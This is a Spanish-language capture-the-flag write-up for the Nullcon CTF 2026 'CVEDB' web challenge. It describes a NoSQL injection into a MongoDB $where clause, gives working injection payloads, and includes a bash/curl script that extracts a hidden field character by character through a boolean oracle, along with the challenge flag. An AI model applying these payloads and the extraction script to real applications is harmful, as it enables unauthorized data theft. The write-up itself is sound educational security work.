CVEDB
Datos del reto
| Campo | Valor |
|---|---|
| CTF | Nullcon CTF 2026 |
| Reto | CVEDB |
| Categoría | Web |
| Contexto | "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL." |
| URL | http://52.59.124.14:5000/ |
| Flag | ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz} |
Descripción del reto
La aplicación era una base de datos de CVEs con un buscador simple. La pista de without actual SQL apuntaba hacia NoSQL, así que había que revisar cómo estaban armando la consulta en MongoDB.
Reconocimiento
Con whatweb se veía un backend Express, y el comportamiento del formulario sugería que el parámetro query terminaba dentro de una búsqueda por regex.
Al hacer unas pruebas rápidas aparecieron varias pistas.
CVEdevolvía todos los registros.flagdevolvía solo uno.(o)rompían la consulta con error de base de datos.
Además, entre los resultados destacaba CVE-1337-1337, con una descripción sospechosa. En el HTML también había campos comentados que no aparecían en la interfaz.
<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->
Eso ya hacía pensar que cada documento tenía más datos de los que la UI estaba enseñando.
Análisis
La parte vulnerable estaba en una consulta $where con input del usuario interpolado directamente dentro de JavaScript. La consulta se podía representar así.
const filter = {
$where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`,
};
Si el input cerraba el regex e inyectaba código propio, Mongo terminaba evaluando JavaScript arbitrario sobre cada documento. Por ejemplo, esta cadena
test/i)||true||(/test
hacía que la condición devolviera true para todo y por eso aparecían todos los documentos.
Una vez confirmado eso, el siguiente paso fue mirar qué campos existían en this. product y vendor estaban presentes aunque la interfaz no los mostrara, y product era justo donde empezaba la flag.
Resolución
Primero confirmé que la flag estaba en product con una condición booleana.
1337/i)&&(this.product.startsWith("ENO"))&&(/1337
Después medí la longitud y terminé de extraerla carácter por carácter usando startsWith(). La idea era ir mandando peticiones como esta y ampliar el prefijo válido.
1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337
Un script sencillo en bash alcanzaba para automatizarlo.
FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'
for pos in $(seq 4 53); do
for char in $(echo "$CHARSET" | fold -w1); do
prefix="${FLAG}${char}"
payload="1337/i)&&(this.product.startsWith(\"${prefix}\"))&&(/1337"
result=$(curl -s -X POST http://52.59.124.14:5000/search \
--data-urlencode "query=${payload}" | grep -c "Found 1")
if [ "$result" -eq 1 ]; then
FLAG="${prefix}"
break
fi
done
done
echo "$FLAG"
Tras suficientes peticiones, la aplicación iba revelando toda la cadena. La idea fue no quedarse en la primera inyección exitosa, sino usarla como oráculo para ir filtrando el campo oculto poco a poco.
Flag
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}